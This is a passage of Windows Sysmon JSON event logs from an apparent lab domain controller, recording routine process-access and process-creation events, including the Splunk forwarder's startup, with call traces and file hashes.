Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1535,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1536,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.109\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001048C20200}\r\nTargetProcessId: 3696\r\nTargetImage: C:\\Windows\\system32\\conhost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.109","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001048C20200}","TargetProcessId":"3696","TargetImage":"C:\\Windows\\system32\\conhost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1537,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.109\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-001048C20200}\r\nSourceProcessId: 3696\r\nSourceThreadId: 3716\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00100EC10200}\r\nTargetProcessId: 3688\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.109","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-001048C20200}","SourceProcessId":"3696","SourceThreadId":"3716","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00100EC10200}","TargetProcessId":"3688","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1538,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.134\r\nProcessGuid: {90617006-3FE5-5F2D-0000-00104FC40200}\r\nProcessId: 3732\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nFileVersion: 8.0.2\r\nDescription: splunk Application\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _RAW_envvars\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BA47934C1D8F8F5D495F67F9B6EF5D0B,SHA256=39A00C55E1BC2233DBEE2A3F2F8CB9BD3668275DCA5F83BD11958FAF50E8C8CE,IMPHASH=4D753DA340C903D8C30CD8B0CF2B73E3\r\nParentProcessGuid: {90617006-3FE5-5F2D-0000-00100EC10200}\r\nParentProcessId: 3688\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _RAW_envvars","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.134","ProcessGuid":"{90617006-3FE5-5F2D-0000-00104FC40200}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","FileVersion":"8.0.2","Description":"splunk Application","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _RAW_envvars","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BA47934C1D8F8F5D495F67F9B6EF5D0B,SHA256=39A00C55E1BC2233DBEE2A3F2F8CB9BD3668275DCA5F83BD11958FAF50E8C8CE,IMPHASH=4D753DA340C903D8C30CD8B0CF2B73E3","ParentProcessGuid":"{90617006-3FE5-5F2D-0000-00100EC10200}","ParentProcessId":"3688","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _RAW_envvars","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1539,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.141\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00100EC10200}\r\nSourceProcessId: 3688\r\nSourceThreadId: 3692\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00104FC40200}\r\nTargetProcessId: 3732\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.141","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00100EC10200}","SourceProcessId":"3688","SourceThreadId":"3692","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00104FC40200}","TargetProcessId":"3732","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1540,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.141\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00104FC40200}\r\nTargetProcessId: 3732\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.141","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00104FC40200}","TargetProcessId":"3732","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1541,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.141\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.141","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1542,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.141\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.141","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1543,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.141\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.141","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1544,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.141\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 